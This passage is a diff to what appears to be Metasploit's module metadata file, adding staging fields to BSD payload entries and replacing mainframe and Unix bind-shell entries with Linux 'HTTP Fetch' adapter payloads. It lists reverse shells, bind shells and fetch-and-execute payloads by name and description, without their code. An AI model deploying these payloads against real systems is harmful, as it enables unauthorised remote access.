1, + "staged": false }, "payload_bsd/x64/shell_reverse_tcp_small": { "name": "BSD x64 Command Shell, Reverse TCP Inline", @@ -175783,7 +177163,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/exec": { "name": "BSD Execute Command", @@ -175819,7 +177201,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/metsvc_bind_tcp": { "name": "FreeBSD Meterpreter Service, Bind TCP", @@ -175853,7 +177237,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/metsvc_reverse_tcp": { "name": "FreeBSD Meterpreter Service, Reverse TCP Inline", @@ -175887,7 +177273,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell/bind_ipv6_tcp": { "name": "BSD Command Shell, Bind TCP Stager (IPv6)", @@ -175923,7 +177311,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/bind_ipv6_tcp" }, "payload_bsd/x86/shell/bind_tcp": { "name": "BSD Command Shell, Bind TCP Stager", @@ -175957,7 +177349,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/bind_tcp" }, "payload_bsd/x86/shell/find_tag": { "name": "BSD Command Shell, Find Tag Stager", @@ -175991,7 +177387,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/find_tag" }, "payload_bsd/x86/shell/reverse_ipv6_tcp": { "name": "BSD Command Shell, Reverse TCP Stager (IPv6)", @@ -176027,7 +177427,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/reverse_ipv6_tcp" }, "payload_bsd/x86/shell/reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Stager", @@ -176061,7 +177465,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/reverse_tcp" }, "payload_bsd/x86/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", @@ -176095,7 +177503,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_bind_tcp_ipv6": { "name": "BSD Command Shell, Bind TCP Inline (IPv6)", @@ -176131,7 +177541,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_find_port": { "name": "BSD Command Shell, Find Port Inline", @@ -176165,7 +177577,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_find_tag": { "name": "BSD Command Shell, Find Tag Inline", @@ -176199,7 +177613,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", @@ -176233,7 +177649,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_reverse_tcp_ipv6": { "name": "BSD Command Shell, Reverse TCP Inline (IPv6)", @@ -176269,7 +177687,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsdi/x86/shell/bind_tcp": { "name": "BSDi Command Shell, Bind TCP Stager", @@ -176303,7 +177723,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsdi/x86/shell", + "stager_refname": "bsdi/x86/bind_tcp" }, "payload_bsdi/x86/shell/reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Stager", @@ -176337,7 +177761,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsdi/x86/shell", + "stager_refname": "bsdi/x86/reverse_tcp" }, "payload_bsdi/x86/shell_bind_tcp": { "name": "BSDi Command Shell, Bind TCP Inline", @@ -176372,7 +177800,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsdi/x86/shell_find_port": { "name": "BSDi Command Shell, Find Port Inline", @@ -176407,7 +177837,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsdi/x86/shell_reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Inline", @@ -176442,11 +177874,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/mainframe/apf_privesc_jcl": { - "name": "JCL to Escalate Privileges", - "fullname": "payload/cmd/mainframe/apf_privesc_jcl", + "payload_cmd/linux/http/mips64/meterpreter_reverse_http": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_http", "aliases": [ ], @@ -176454,34 +177888,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls", - "Ayoub" + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "(Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.)", + "description": "Fetch and execute a MIPS64 payload from an HTTP server.", "references": [ ], - "platform": "Mainframe", + "platform": "Linux", "arch": "cmd", - "rport": 21, + "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/apf_privesc_jcl", + "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/mainframe/bind_shell_jcl": { - "name": "Z/OS (MVS) Command Shell, Bind TCP", - "fullname": "payload/cmd/mainframe/bind_shell_jcl", + "payload_cmd/linux/http/mips64/meterpreter_reverse_https": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_https", "aliases": [ ], @@ -176489,33 +177930,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls" + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Provide JCL which creates a bind shell\n This implmentation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "description": "Fetch and execute a MIPS64 payload from an HTTP server.", "references": [ ], - "platform": "Mainframe", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/bind_shell_jcl", + "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/mainframe/generic_jcl": { - "name": "Generic JCL Test for Mainframe Exploits", - "fullname": "payload/cmd/mainframe/generic_jcl", + "payload_cmd/linux/http/mips64/meterpreter_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_tcp", "aliases": [ ], @@ -176523,33 +177972,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls" + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads", + "description": "Fetch and execute a MIPS64 payload from an HTTP server.", "references": [ ], - "platform": "Mainframe", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/generic_jcl", + "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/mainframe/reverse_shell_jcl": { - "name": "Z/OS (MVS) Command Shell, Reverse TCP", - "fullname": "payload/cmd/mainframe/reverse_shell_jcl", + "payload_cmd/linux/http/x64/exec": { + "name": "HTTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/http/x64/exec", "aliases": [ ], @@ -176557,33 +178014,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls" + "Brendan Watters", + "ricky", + "Geyslan G. Bem " ], - "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "description": "Fetch and execute an x64 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ ], - "platform": "Mainframe", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/reverse_shell_jcl", + "ref_name": "cmd/linux/http/x64/exec", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/exec", + "staged": false }, - "payload_cmd/unix/bind_awk": { - "name": "Unix Command Shell, Bind TCP (via AWK)", - "fullname": "payload/cmd/unix/bind_awk", + "payload_cmd/linux/http/x64/meterpreter/bind_tcp": { + "name": "HTTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -176591,34 +178054,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "espreto ", - "Ulisses Castro " + "Brendan Watters", + "Brent Cook ", + "ricky" ], - "description": "Listen for a connection and spawn a command shell via GNU AWK", + "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_awk.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_awk", + "ref_name": "cmd/linux/http/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, - "payload_cmd/unix/bind_busybox_telnetd": { - "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)", - "fullname": "payload/cmd/unix/bind_busybox_telnetd", + "payload_cmd/linux/http/x64/meterpreter/reverse_sctp": { + "name": "HTTP Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_sctp", "aliases": [ ], @@ -176626,33 +178096,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Matthew Kienow " + "Brendan Watters", + "Brent Cook ", + "RageLtMan " ], - "description": "Listen for a connection and spawn a command shell via BusyBox telnetd", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_busybox_telnetd", + "ref_name": "cmd/linux/http/x64/meterpreter/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, - "payload_cmd/unix/bind_inetd": { - "name": "Unix Command Shell, Bind TCP (inetd)", - "fullname": "payload/cmd/unix/bind_inetd", + "payload_cmd/linux/http/x64/meterpreter/reverse_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -176660,33 +178138,42 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" ], - "description": "Listen for a connection and spawn a command shell (persistent)", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_inetd", + "ref_name": "cmd/linux/http/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, - "payload_cmd/unix/bind_jjs": { - "name": "Unix Command Shell, Bind TCP (via jjs)", - "fullname": "payload/cmd/unix/bind_jjs", + "payload_cmd/linux/http/x64/meterpreter_reverse_http": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_http", "aliases": [ ], @@ -176694,36 +178181,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "conerpirate", - "bcoles " + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Listen for a connection and spawn a command shell via jjs", + "description": "Fetch and execute an x64 payload from an HTTP server.", "references": [ - "URL-https://gtfobins.github.io/gtfobins/jjs/", - "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", - "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_jjs", + "ref_name": "cmd/linux/http/x64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/unix/bind_lua": { - "name": "Unix Command Shell, Bind TCP (via Lua)", - "fullname": "payload/cmd/unix/bind_lua", + "payload_cmd/linux/http/x64/meterpreter_reverse_https": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_https", "aliases": [ ], @@ -176731,33 +178222,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Listen for a connection and spawn a command shell via Lua", + "description": "Fetch and execute an x64 payload from an HTTP server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_lua.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_lua", + "ref_name": "cmd/linux/http/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/unix/bind_netcat": { - "name": "Unix Command Shell, Bind TCP (via netcat)", - "fullname": "payload/cmd/unix/bind_netcat", + "payload_cmd/linux/http/x64/meterpreter_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_tcp", "aliases": [ ], @@ -176765,35 +178263,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "m-1-k-3", - "egypt ", - "juan vazquez " + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Listen for a connection and spawn a command shell via netcat", + "description": "Fetch and execute an x64 payload from an HTTP server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_netcat", + "ref_name": "cmd/linux/http/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/unix/bind_netcat_gaping": { - "name": "Unix Command Shell, Bind TCP (via netcat -e)", - "fullname": "payload/cmd/unix/bind_netcat_gaping", + "payload_cmd/linux/http/x64/pingback_bind_tcp": { + "name": "HTTP Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/http/x64/pingback_bind_tcp", "aliases": [ ], @@ -176801,33 +178304,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "bwatters-r7" ], - "description": "Listen for a connection and spawn a command shell via netcat", + "description": "Fetch and execute an x64 payload from an HTTP server.\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_netcat_gaping", + "ref_name": "cmd/linux/http/x64/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/pingback_bind_tcp", + "staged": false }, - "payload_cmd/unix/bind_netcat_gaping_ipv6": { - "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6", - "fullname": "payload/cmd/unix/bind_netcat_gaping_ipv6", + "payload_cmd/linux/http/x64/pingback_reverse_tcp": { + "name": "HTTP Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x64/pingback_reverse_tcp", "aliases": [ ], @@ -176835,33 +178343,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "bwatters-r7" ], - "description": "Listen for a connection and spawn a command shell via netcat", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_netcat_gaping_ipv6", + "ref_name": "cmd/linux/http/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/pingback_reverse_tcp", + "staged": false }, - "payload_cmd/unix/bind_nodejs": { - "name": "Unix Command Shell, Bind TCP (via nodejs)", - "fullname": "payload/cmd/unix/bind_nodejs", + "payload_cmd/linux/http/x64/shell/bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x64/shell/bind_tcp", "aliases": [ ], @@ -176869,33 +178382,40 @@ "disclosure_date": null, "type": "payload", "author": [ - "joev " + "Brendan Watters", + "ricky" ], - "description": "Continually listen for a connection and spawn a command shell via nodejs", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_nodejs", + "ref_name": "cmd/linux/http/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" }, - "payload_cmd/unix/bind_perl": { - "name": "Unix Command Shell, Bind TCP (via Perl)", - "fullname": "payload/cmd/unix/bind_perl", + "payload_cmd/linux/http/x64/shell/reverse_sctp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/http/x64/shell/reverse_sctp", "aliases": [ ], @@ -176903,34 +178423,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz " + "Brendan Watters", + "ricky", + "RageLtMan " ], - "description": "Listen for a connection and spawn a command shell via perl", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_perl.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_perl", + "ref_name": "cmd/linux/http/x64/shell/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" }, - "payload_cmd/unix/bind_perl_ipv6": { - "name": "Unix Command Shell, Bind TCP (via perl) IPv6", - "fullname": "payload/cmd/unix/bind_perl_ipv6", + "payload_cmd/linux/http/x64/shell/reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x64/shell/reverse_tcp", "aliases": [ ], @@ -176938,34 +178465,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz " + "Brendan Watters", + "ricky", + "tkmru" ], - "description": "Listen for a connection and spawn a command shell via perl", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_perl_ipv6", + "ref_name": "cmd/linux/http/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" }, - "payload_cmd/unix/bind_r": { - "name": "Unix Command Shell, Bind TCP (via R)", - "fullname": "payload/cmd/unix/bind_r", + "payload_cmd/linux/http/x64/shell_bind_ipv6_tcp": { + "name": "HTTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x64/shell_bind_ipv6_tcp", "aliases": [ ], @@ -176973,33 +178507,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "epi " ], - "description": "Continually listen for a connection and spawn a command shell via R", + "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for an IPv6 connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_r.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_r", + "ref_name": "cmd/linux/http/x64/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_bind_ipv6_tcp", + "staged": false }, - "payload_cmd/unix/bind_ruby": { - "name": "Unix Command Shell, Bind TCP (via Ruby)", - "fullname": "payload/cmd/unix/bind_ruby", + "payload_cmd/linux/http/x64/shell_bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp", "aliases": [ ], @@ -177007,33 +178546,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "ricky" ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", + "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": 